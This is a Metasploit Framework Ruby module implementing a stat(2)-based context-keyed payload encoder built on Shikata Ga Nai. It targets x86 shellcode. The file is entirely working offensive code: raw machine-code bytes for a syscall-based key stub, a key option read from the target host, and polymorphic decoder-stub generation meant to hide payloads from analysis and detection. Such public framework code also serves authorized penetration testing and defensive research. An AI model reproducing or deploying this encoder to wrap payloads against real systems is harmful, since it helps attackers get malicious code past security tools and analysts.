context_stat.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'rex/poly'
require 'msf/core'

class Metasploit3 < Msf::Encoder::XorAdditiveFeedback

	# Manual ranking because the stat(2) key is generated and supplied
	# manually.

	Rank = ManualRanking

	def initialize
		super(
			'Name'             => 'stat(2)-based Context Keyed Payload Encoder',
			'Description'      => %q{
				This is a Context-Keyed Payload Encoder based on stat(2)
				and Shikata Ga Nai.
			},
			'Author'           => 'Dimitris Glynos',
			'Arch'             => ARCH_X86,
			'License'          => MSF_LICENSE,
			'Decoder'          =>
				{
					'KeySize'    => 4,
					'BlockSize'  => 4
				})

		register_options(
			[
				OptString.new('STAT_KEY', [ true,
					"STAT key from target host (see tools/context/stat-key utility)",
					"0x00000000" ]),
				OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]),
			], self.class)
	end

	def obtain_key(buf, badchars, state)
		state.key = datastore['STAT_KEY'].hex
		return state.key
	end

	#
	# Generates the shikata decoder stub.
	#
	def decoder_stub(state)
		# If the decoder stub has not already been generated for this state, do
		# it now.  The decoder stub method may be called more than once.
		if (state.decoder_stub == nil)
			# Shikata will only cut off the last 1-4 bytes of it's own end
			# depending on the alignment of the original buffer
			cutoff = 4 - (state.buf.length & 3)
			block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)

			# Take the last 1-4 bytes of shikata and prepend them to the buffer
			# that is going to be encoded to make it align on a 4-byte boundary.
			state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf

			# Cache this decoder stub.  The reason we cache the decoder stub is
			# because we need to ensure that the same stub is returned every time
			# for a given encoder state.
			state.decoder_stub = block
		end

		state.decoder_stub
	end

protected
	def keygen_stub
		fname = datastore['STAT_FILE']
		flen = fname.length

		payload =
			"\xd9\xee" +            # fldz
			"\xd9\x74\x24\xf4" +    # fnstenv -0xc(%esp)
			"\x5b" +                # pop %ebx
			Rex::Arch::X86.jmp_short(flen) +    # jmp over
			fname +                 # the filename
			"\x83\xc3\x09" +        # over: add $9, %ebx
			"\x8d\x53" +  	         # lea filelen(%ebx), %edx
			Rex::Arch::X86.pack_lsb(flen) +    #
			"\x31\xc0" +	         # xor %eax,%eax
			"\x88\x02" +            # mov %al,(%edx)
			"\x8d\x4c\x24\xa8" +    # lea -0x58(%esp),%ecx
			"\xb0\xc3" +            # mov $0xc3, %al
			"\xcd\x80" +            # int $0x80
			"\x8b\x41\x2c" +        # mov 0x2c(%ecx),%eax
			"\x33\x41\x48"          # xor 0x48(%ecx),%eax
	end

	#
	# Returns the set of FPU instructions that can be used for the FPU block of
	# the decoder stub.
	#
	def fpu_instructions
		fpus = []

		0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
		0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
		0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
		0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
		0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }

		fpus << "\xd9\xd0"
		fpus << "\xd9\xe1"
		fpus << "\xd9\xf6"
		fpus << "\xd9\xf7"
		fpus << "\xd9\xe5"

		# This FPU instruction seems to fail consistently on Linux
		#fpus << "\xdb\xe1"

		fpus
	end

	#
	# Returns a polymorphic decoder stub that is capable of decoding a buffer
	# of the supplied length and encodes the last cutoff bytes of itself.
	#
	def generate_shikata_block(state, length, cutoff)
		# Declare logical registers
		key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
		count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
		addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')

		# Declare individual blocks
		endb = Rex::Poly::SymbolicBlock::End.new

		# FPU blocks
		fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
		fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")

		# Get EIP off the stack
		popeip = Rex::Poly::LogicalBlock.new('popeip',
			Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })

		# Clear the counter register
		clear_register = Rex::Poly::LogicalBlock.new('clear_register',
			"\x31\xc9",
			"\x29\xc9",
			"\x33\xc9",
			"\x2b\xc9")

		# Initialize the counter after zeroing it
		init_counter = Rex::Poly::LogicalBlock.new('init_counter')

		# Divide the length by four but ensure that it aligns on a block size
		# boundary (4 byte).
		length += 4 + (4 - (length & 3)) & 3
		length /= 4

		if (length <= 255)
			init_counter.add_perm("\xb1" + [ length ].pack('C'))
		else
			init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
		end

		# Key initialization block

		# Decoder loop block
		loop_block = Rex::Poly::LogicalBlock.new('loop_block')

		xor  = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
		xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
		xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
		add  = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
		add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
		add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
		sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
		add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }

		loop_block.add_perm(
			Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
			Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
			Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
			Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
			Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
			Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })

		# Loop instruction block
		loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
			"\xe2\xf5")

		# Define block dependencies
		fnstenv.depends_on(fpu)
		popeip.depends_on(fnstenv)
		init_counter.depends_on(clear_register)
		loop_block.depends_on(popeip, init_counter)
		loop_inst.depends_on(loop_block)

		# Generate a permutation saving the EAX, ECX and ESP registers
		loop_inst.generate([
			Rex::Arch::X86::EAX,
			Rex::Arch::X86::ESP,
			Rex::Arch::X86::ECX ], nil, state.badchars)
	end

end